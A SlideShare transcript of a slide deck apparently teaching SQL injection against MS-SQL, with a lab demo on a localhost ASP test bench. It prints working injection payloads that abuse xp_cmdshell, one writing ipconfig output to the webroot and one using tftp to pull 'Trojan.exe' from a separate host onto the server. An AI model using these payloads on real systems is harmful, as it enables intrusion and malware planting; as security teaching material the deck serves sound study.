SlideShare a Scribd company logo
 Advanced Exploitation
using SQL Injection
 By Varun Duggal
 Work in Application Security Domain
SQL Injection
 The ability to inject SQL commands into the database engine through an
existing application
 SQL Injection occurs when user-supplied data is sent to an interpreter as
part of a command or query
 Attackers trick the interpreter into executing unintended commands via
supplying specially crafted data
 Injection flaws allow attackers to create, read, update, or delete any
arbitrary data available to the application
Vulnerable Applications
 Almost all SQL databases and programming languages are potentially
vulnerable
 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access,
Sybase, Informix, etc
 Accessed through applications developed using:
 Perl and CGI scripts that access databases
 ASP, JSP, PHP
 XML, XSL and XSQL
 Javascript
 VB, MFC, and other ODBC-based tools and APIs
 DB specific Web-based applications and API‟s
 Reports and DB Applications
 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
 many more
Stored procedure
 A stored procedure is a subroutine available to applications accessing a
relational database system
 Stored procedures (sometimes called a sproc or SP) are actually stored in
the database data dictionary
Exploiting the Vulnerability
 xp_cmdshell stored procedure, which is built into MS-SQL by Default
 Allows users to execute operating system commands
Tasks
 Executing any type OS commands
 Ping Server
 Directory Listing
 Create File
 Defacing Website
 Execute Applications
 Upload and Download files
More Stored Procedures
 (xp_cmdshell)
 (xp_regread)
 (xp_servicecontrol)
 (xp_availablemedia)
 (xp_enumdsn)
 (xp_loginconfig)
 (xp_makecab)
 (xp_ntsec_enumdomains)
 (xp_terminate_process)
Demo
 Test Bench
 O. S : Windows XP Professional
 Frontend: ASP
 Backend: MSSQL 2000
 Web Server: IIS 5.0
 Open the URL in the http://localhost/sql.asp?id=1
Checking Vulnerable or Not
 Enter a single quote in the id parameter the error message indicates
it‟s vulnerable to SQL Injection.
 Now open the URL and run the command
„;exec master..xp_cmdshell “ ipconfig > c:inetpubwwwroottest.txt”--
 Now finally file created on the web server access that file as shown in
the below snapshot:
Upload a file on the server
 Open tftp server containing malicious code to be uploaded
 Now open the URL and run the command
 „;exec master..xp_cmdshell “tftp –i 192.168.1.5 GET Trojan.exe
C:Trojan.exe”--
 Logs of Tftp shows file gets uploaded on the server

More Related Content

PPTX
Os Command Injection Attack
PDF
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW
PPTX
Sql Injection
PPT
IIS 6.0 and asp.net
PPT
Anypoint data gateway
PPTX
Flows in mule
PPTX
Mule validators
PPT
Understanding IIS
Os Command Injection Attack
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW
Sql Injection
IIS 6.0 and asp.net
Anypoint data gateway
Flows in mule
Mule validators
Understanding IIS

What's hot (20)

PPTX
Web Security
PPTX
How to Monitor IIS
PPTX
ASP.NET Request Processing Internals
PPT
Websphere - Introduction to logs and configuration
PPT
Securing you SQL Server - Denver, RMTT
PPTX
Automated Testing Of EPiServer CMS Sites
PPTX
Mule Soft ESB - SAP Outbound
PPTX
Database component in mule
PPT
Mulesoft debug
PPTX
How Spring Framework Really Works?
PPTX
Securing Your WordPress Website
PPT
Understanding iis part1
PDF
Selenium Automation Framework (SAF).
PPTX
Sql injection brief for slideshare
PPTX
PPTX
spring framework ppt by Rohit malav
PPTX
Mule ESB - Intra application communication
PDF
C sharp and asp.net interview questions
PPT
Subversion
PPTX
Security Model in .NET Framework
Web Security
How to Monitor IIS
ASP.NET Request Processing Internals
Websphere - Introduction to logs and configuration
Securing you SQL Server - Denver, RMTT
Automated Testing Of EPiServer CMS Sites
Mule Soft ESB - SAP Outbound
Database component in mule
Mulesoft debug
How Spring Framework Really Works?
Securing Your WordPress Website
Understanding iis part1
Selenium Automation Framework (SAF).
Sql injection brief for slideshare
spring framework ppt by Rohit malav
Mule ESB - Intra application communication
C sharp and asp.net interview questions
Subversion
Security Model in .NET Framework
Ad

Viewers also liked (10)

PDF
Thick Application Penetration Testing - A Crash Course
PDF
The API Primer (OWASP AppSec Europe, May 2015)
PPTX
Penetration testing dont just leave it to chance
PDF
Beyond the Scan: The Value Proposition of Vulnerability Assessment
PDF
pentest mobile app issue
PDF
Developing Secure Mobile Applications
PDF
Thick Application Penetration Testing: Crash Course
PDF
Pactera Cybersecurity - Application Security Penetration Testing - Mobile, We...
PPTX
Fortify On Demand and ShadowLabs
PPTX
Threat Exposure Management - Reduce your Risk of a Breach
Thick Application Penetration Testing - A Crash Course
The API Primer (OWASP AppSec Europe, May 2015)
Penetration testing dont just leave it to chance
Beyond the Scan: The Value Proposition of Vulnerability Assessment
pentest mobile app issue
Developing Secure Mobile Applications
Thick Application Penetration Testing: Crash Course
Pactera Cybersecurity - Application Security Penetration Testing - Mobile, We...
Fortify On Demand and ShadowLabs
Threat Exposure Management - Reduce your Risk of a Breach
Ad

Similar to Sql injection exploit (20)

PPT
SQL Server Security - Attack
PDF
Sql injection manish file
PPTX
Understanding and preventing sql injection attacks
PDF
Sql Injection 0wning Enterprise
PPTX
CLR Stored Procedures
PDF
Web Application Security 101 - 14 Data Validation
PPTX
PPT
Hackers Paradise SQL Injection Attacks
PDF
Attques web
PPT
Advanced sql injection
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PPTX
OWASP_Top_Ten_Proactive_Controls version 2
PPT
Microsoft Operating System Vulnerabilities
PPT
Microsoft OS Vulnerabilities
PPT
Ch08 Microsoft Operating System Vulnerabilities
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PPTX
OWASP_Top_Ten_Proactive_Controls_v32.pptx
PPT
Perfsystems- Consulting Services
ODP
Dynamic Slides using OpenOffice.org Impress and Python
SQL Server Security - Attack
Sql injection manish file
Understanding and preventing sql injection attacks
Sql Injection 0wning Enterprise
CLR Stored Procedures
Web Application Security 101 - 14 Data Validation
Hackers Paradise SQL Injection Attacks
Attques web
Advanced sql injection
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls version 2
Microsoft Operating System Vulnerabilities
Microsoft OS Vulnerabilities
Ch08 Microsoft Operating System Vulnerabilities
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
Perfsystems- Consulting Services
Dynamic Slides using OpenOffice.org Impress and Python

Sql injection exploit

  • 1.  Advanced Exploitation using SQL Injection  By Varun Duggal  Work in Application Security Domain
  • 2. SQL Injection  The ability to inject SQL commands into the database engine through an existing application  SQL Injection occurs when user-supplied data is sent to an interpreter as part of a command or query  Attackers trick the interpreter into executing unintended commands via supplying specially crafted data  Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application
  • 3. Vulnerable Applications  Almost all SQL databases and programming languages are potentially vulnerable  MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc  Accessed through applications developed using:  Perl and CGI scripts that access databases  ASP, JSP, PHP  XML, XSL and XSQL  Javascript  VB, MFC, and other ODBC-based tools and APIs  DB specific Web-based applications and API‟s  Reports and DB Applications  3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)  many more
  • 4. Stored procedure  A stored procedure is a subroutine available to applications accessing a relational database system  Stored procedures (sometimes called a sproc or SP) are actually stored in the database data dictionary
  • 5. Exploiting the Vulnerability  xp_cmdshell stored procedure, which is built into MS-SQL by Default  Allows users to execute operating system commands
  • 6. Tasks  Executing any type OS commands  Ping Server  Directory Listing  Create File  Defacing Website  Execute Applications  Upload and Download files
  • 7. More Stored Procedures  (xp_cmdshell)  (xp_regread)  (xp_servicecontrol)  (xp_availablemedia)  (xp_enumdsn)  (xp_loginconfig)  (xp_makecab)  (xp_ntsec_enumdomains)  (xp_terminate_process)
  • 8. Demo  Test Bench  O. S : Windows XP Professional  Frontend: ASP  Backend: MSSQL 2000  Web Server: IIS 5.0
  • 9.  Open the URL in the http://localhost/sql.asp?id=1
  • 10. Checking Vulnerable or Not  Enter a single quote in the id parameter the error message indicates it‟s vulnerable to SQL Injection.
  • 11.  Now open the URL and run the command „;exec master..xp_cmdshell “ ipconfig > c:inetpubwwwroottest.txt”--
  • 12.  Now finally file created on the web server access that file as shown in the below snapshot:
  • 13. Upload a file on the server  Open tftp server containing malicious code to be uploaded
  • 14.  Now open the URL and run the command  „;exec master..xp_cmdshell “tftp –i 192.168.1.5 GET Trojan.exe C:Trojan.exe”--
  • 15.  Logs of Tftp shows file gets uploaded on the server